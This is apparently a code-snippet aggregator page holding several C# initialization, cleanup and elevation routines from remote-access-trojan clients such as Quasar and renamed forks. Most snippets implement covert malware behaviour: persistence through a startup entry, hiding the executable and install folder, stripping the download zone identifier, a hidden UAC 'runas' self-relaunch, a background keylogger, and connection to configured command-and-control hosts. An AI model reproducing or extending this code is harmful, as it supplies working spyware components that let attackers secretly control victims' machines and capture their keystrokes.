Exemplo n.º 1
0
        public static void HandleDoAskElevate(Packets.ServerPackets.DoAskElevate command, Client client)
        {
            if (WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("User refused the elevation request.").Execute(client);
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                    return;
                }
                Program.ConnectClient.Exit();
            }
            else
            {
                new Packets.ClientPackets.SetStatus("Process already elevated.").Execute(client);
            }
        }
Exemplo n.º 2
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
            {
                return(false);
            }

            AES.SetDefaultKey(Settings.PASSWORD);
            ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
                                                    ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);

            if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Başlangıç.AddToStartup())
                    {
                        ClientVerisi.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop   = new ApplicationContext();
                        var logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new KuuhakuClient(hosts);
                return(true);
            }
            MutexHelper.CloseMutex();
            ClientYükleyici.Install(ConnectClient);
            return(false);
        }
Exemplo n.º 3
0
        private static void Initialize()
        {
            if (!MutexHelper.CreateMutex(Settings.MUTEX))
            {
                ClientData.Disconnect = true; // process with same mutex is already running
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            if (_hosts.IsEmpty)
            {
                ClientData.Disconnect = true; // no hosts to connect
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start();
                }
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
            }
        }
Exemplo n.º 4
0
 private static void Cleanup()
 {
     CommandHandler.CloseShell();
     if (CommandHandler.StreamCodec != null)
     {
         CommandHandler.StreamCodec.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (_msgLoop != null)
     {
         _msgLoop.ExitThread();
     }
     MutexHelper.CloseMutex();
 }
Exemplo n.º 5
0
 private static void Cleanup()
 {
     Eylemİşleyicisi.CloseShell();
     if (Eylemİşleyicisi.StreamCodec != null)
     {
         Eylemİşleyicisi.StreamCodec.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (_msgLoop != null)
     {
         _msgLoop.ExitThread();
         _msgLoop.Dispose();
         _msgLoop = null;
     }
     MutexHelper.CloseMutex();
 }
Exemplo n.º 6
0
 private void Application_Startup(object sender, StartupEventArgs e)
 {
     try
     {
         if (Initialize())
         {
             Logging.LogMessage(LoggingLevel.Info, $"arguments {string.Join(", ", _result)}");
             var viewModel = new MainWindow(_result.ToArray());
             viewModel.Show();
         }
         else
         {
             MutexHelper.CloseMutex();
             Application.Current.Shutdown();
         }
     }
     catch (Exception ex)
     {
         Logging.LogError(LoggingLevel.Error, $"Error: {ex.Message}", ex);
         throw;
     }
 }
Exemplo n.º 7
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }
Exemplo n.º 8
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            // Request elevation
            if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                bool success = true;
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    success = false;
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                }

                if (success)
                {
                    ConnectClient.Exit();
                }
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                return(true);
            }

            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return(false);
        }